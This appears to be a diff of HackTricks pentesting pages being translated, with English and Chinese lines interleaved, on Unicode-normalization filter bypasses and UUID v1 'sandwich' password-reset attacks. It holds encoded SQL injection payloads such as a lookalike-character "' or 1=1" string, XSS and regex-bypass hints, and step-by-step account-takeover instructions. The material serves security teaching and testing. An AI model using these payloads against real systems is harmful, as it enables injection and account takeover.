It's crucial to comprehend these concepts to effectively handle and mitigate potential issues arising from Unicode's complexity and its various encoding methods.
An example of how Unicode normalise two different bytes representing the same character:
理解这些概念对于有效处理和减轻因 Unicode 的复杂性及其各种编码方法而产生的潜在问题至关重要。
Unicode 如何规范化两个表示相同字符的不同字节的示例:
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**Unicode 等效字符列表可以在这里找到:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) 和 [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
**A list of Unicode equivalent characters can be found here:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) and [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
### 发现
### Discovering
如果你能在一个 webapp 中找到一个被回显的值,你可以尝试发送 **KELVIN SIGN (U+0212A)**,它 **规范化为 "K"**(你可以将其发送为 `%e2%84%aa`)。 **如果回显了 "K"**,那么某种 **Unicode 规范化** 正在进行。
If you can find inside a webapp a value that is being echoed back, you could try to send **KELVIN SIGN (U+0212A)** which **normalises to "K"** (you can send it as `%e2%84%aa`). **If a "K" is echoed back**, then, some kind of **Unicode normalisation** is being performed.
另一个 **例子**`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83`**unicode** 之后是 `Leonishan`
Other **example**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` after **unicode** is `Leonishan`.
## **易受攻击的示例**
## **Vulnerable Examples**
### **SQL 注入过滤器绕过**
### **SQL Injection filter bypass**
想象一个网页,它使用字符 `'` 来创建带有用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后****在创建** 查询之前,它 **使用 Unicode** 对用户的输入进行 **规范化**
Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user.
Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears:
然后,一个恶意用户可以插入一个不同的 Unicode 字符,等同于 `' (0x27)`,如 `%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现 **SQL 注入漏洞**
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
**Some interesting Unicode characters**
**一些有趣的 Unicode 字符**
- `o` -- %e1%b4%bc
- `r` -- %e1%b4%bf
@ -62,7 +60,6 @@ Then, a malicious user could insert a different Unicode character equivalent to
- `'` -- %ef%bc%87
- `"` -- %ef%bc%82
- `|` -- %ef%bd%9c
```
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
@ -76,32 +73,30 @@ Then, a malicious user could insert a different Unicode character equivalent to
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```
#### sqlmap template
#### sqlmap 模板
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
### XSS (Cross Site Scripting)
### XSS (跨站脚本攻击)
You could use one of the following characters to trick the webapp and exploit a XSS:
您可以使用以下字符之一来欺骗 web 应用程序并利用 XSS
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
Notice that for example the first Unicode character purposed can be sent as: `%e2%89%ae` or as `%u226e`
请注意,例如,第一个提议的 Unicode 字符可以发送为:`%e2%89%ae` `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### Fuzzing Regexes
### 模糊测试正则表达式
When the backend is **checking user input with a regex**, it might be possible that the **input** is being **normalized** for the **regex** but **not** for where it's being **used**. For example, in an Open Redirect or SSRF the regex might be **normalizing the sent UR**L but then **accessing it as is**.
当后端 **使用正则表达式检查用户输入** 时,**输入** 可能会为 **正则表达式** 进行 **规范化**,但 **不** 会为其 **使用** 的地方进行 **规范化**。例如,在开放重定向或 SSRF 中,正则表达式可能会 **规范化发送的 URL**,但随后 **按原样访问**
The tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* allows to **generate variation of the input** to fuzz the backend. Fore more info check the **github** and this [**post**](https://0xacb.com/2022/11/21/recollapse/).
工具 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* 允许 **生成输入的变体** 以模糊测试后端。有关更多信息,请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/)。
## References
## 参考文献
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,66 +1,65 @@
# UUID Insecurities
# UUID 不安全性
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
Universally Unique Identifiers (UUIDs) are **128-bit numbers used to uniquely identify information** in computer systems. UUIDs are essential in applications where unique identifiers are necessary without central coordination. They are commonly used as database keys and can refer to various elements like documents and sessions.
通用唯一标识符 (UUID) 是 **用于唯一标识计算机系统中信息的 128 位数字**。UUID 在需要唯一标识符而无需中央协调的应用程序中至关重要。它们通常用作数据库键,并可以引用各种元素,如文档和会话。
UUIDs are designed to be unique and **hard to guess**. They are structured in a specific format, divided into five groups represented as 32 hexadecimal digits. There are different versions of UUIDs, each serving different purposes:
UUID 旨在是唯一的,并且 **难以猜测**。它们以特定格式结构化,分为五组,表示为 32 个十六进制数字。UUID 有不同的版本,每个版本服务于不同的目的:
- **UUID v1** is time-based, incorporating the timestamp, clock sequence, and node ID (MAC address), but it can potentially expose system information.
- **UUID v2** is similar to v1 but includes modifications for local domains (not widely used).
- **UUID v3 and v5** generate UUIDs using hash values from namespace and name, with v3 using MD5 and v5 using SHA-1.
- **UUID v4** is generated almost entirely randomly, providing a high level of anonymity but with a slight risk of duplicates.
- **UUID v1** 是基于时间的,包含时间戳、时钟序列和节点 IDMAC 地址),但可能会暴露系统信息。
- **UUID v2** 类似于 v1但包含针对本地域的修改使用不广泛
- **UUID v3 和 v5** 使用来自命名空间和名称的哈希值生成 UUIDv3 使用 MD5v5 使用 SHA-1。
- **UUID v4** 几乎完全随机生成,提供高水平的匿名性,但存在轻微的重复风险。
> [!TIP]
> Note that the version and subversion of the UUID usually appears in the same possition inside the UUID. For example in:\
> 请注意UUID 的版本和子版本通常出现在 UUID 内的相同位置。例如在:\
> 12345678 - abcd - 1a56 - a539 - 103755193864\
> xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
>
> - The **position of the M** Indicates the UUID **version**. In the example above, its UUID v**1**.
> - The **position of the N** Indicates the UUID variant.
> - **M 的位置** 表示 UUID 的 **版本**。在上面的示例中,它是 UUID v**1**。
> - **N 的位置** 表示 UUID 变体。
## Sandwich attack
## 三明治攻击
The "Sandwich Attack" is a specific type of attack that **exploits the predictability of UUID v1 generation in web applications**, particularly in features like password resets. UUID v1 is generated based on time, clock sequence, and the node's MAC address, which can make it somewhat predictable if an attacker can obtain some of these UUIDs generated close in time.
“三明治攻击”是一种特定类型的攻击,**利用了 web 应用程序中 UUID v1 生成的可预测性**特别是在密码重置等功能中。UUID v1 是基于时间、时钟序列和节点的 MAC 地址生成的,如果攻击者能够获取一些在时间上接近生成的 UUID这可能使其在某种程度上可预测。
### Example
### 示例
Imagine a web application that uses UUID v1 for generating password reset links. Heres how an attacker might exploit this to gain unauthorized access:
想象一个使用 UUID v1 生成密码重置链接的 web 应用程序。攻击者可能如何利用这一点来获得未授权访问:
1. **Initial Setup**:
1. **初始设置**
- The attacker has control over two email accounts: \`attacker1@acme.com\` and \`attacker2@acme.com\`.
- The target's email account is \`victim@acme.com\`.
- 攻击者控制两个电子邮件帐户:\`attacker1@acme.com\` 和 \`attacker2@acme.com\`。
- 目标的电子邮件帐户是 \`victim@acme.com\`。
2. **Execution**:
2. **执行**
- The attacker triggers a password reset for their first account (\`attacker1@acme.com\`) and receives a password reset link with a UUID, say \`99874128-7592-11e9-8201-bb2f15014a14\`.
- Immediately after, the attacker triggers a password reset for the victim's account (\`victim@acme.com\`) and then quickly for the second attacker-controlled account (\`attacker2@acme.com\`).
- The attacker receives a reset link for the second account with a UUID, say \`998796b4-7592-11e9-8201-bb2f15014a14\`.
- 攻击者为他们的第一个帐户(\`attacker1@acme.com\`)触发密码重置,并收到一个带有 UUID 的密码重置链接,比如 \`99874128-7592-11e9-8201-bb2f15014a14\`。
- 紧接着,攻击者为受害者的帐户(\`victim@acme.com\`)触发密码重置,然后迅速为第二个攻击者控制的帐户(\`attacker2@acme.com\`)触发。
- 攻击者收到第二个帐户的重置链接,带有 UUID比如 \`998796b4-7592-11e9-8201-bb2f15014a14\`。
3. **Analysis**:
3. **分析**
- The attacker now has two UUIDs generated close in time (\`99874128\` and \`998796b4\`). Given the sequential nature of time-based UUIDs, the UUID for the victim's account will likely fall between these two values.
- 攻击者现在有两个在时间上接近生成的 UUID\`99874128\` 和 \`998796b4\`)。考虑到基于时间的 UUID 的顺序特性,受害者帐户的 UUID 很可能落在这两个值之间。
4. **Brute Force Attack:**
4. **暴力攻击**
- The attacker uses a tool to generate UUIDs between these two values and tests each generated UUID by attempting to access the password reset link (e.g., \`https://www.acme.com/reset/\<generated-UUID>\`).
- If the web application does not adequately rate limit or block such attempts, the attacker can quickly test all possible UUIDs in the range.
- 攻击者使用工具生成这两个值之间的 UUID并通过尝试访问密码重置链接例如 \`https://www.acme.com/reset/\<generated-UUID>\`)来测试每个生成的 UUID。
- 如果 web 应用程序没有充分限制速率或阻止此类尝试,攻击者可以迅速测试范围内的所有可能 UUID。
5. **Access Gained:**
5. **获得访问权限**
- Once the correct UUID for the victim's password reset link is discovered, the attacker can reset the victim's password and gain unauthorized access to their account.
- 一旦发现受害者密码重置链接的正确 UUID攻击者可以重置受害者的密码并获得未授权访问其帐户的权限。
### Tools
### 工具
- You can perform the sandwich attack automatically with the tool: [**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
- You can detect these type of UUIds in Burp Suite with the extension [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248).
- 您可以使用工具自动执行三明治攻击:[**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
- 您可以使用扩展 [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248) 在 Burp Suite 中检测这些类型的 UUID。
## References
## 参考
- [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More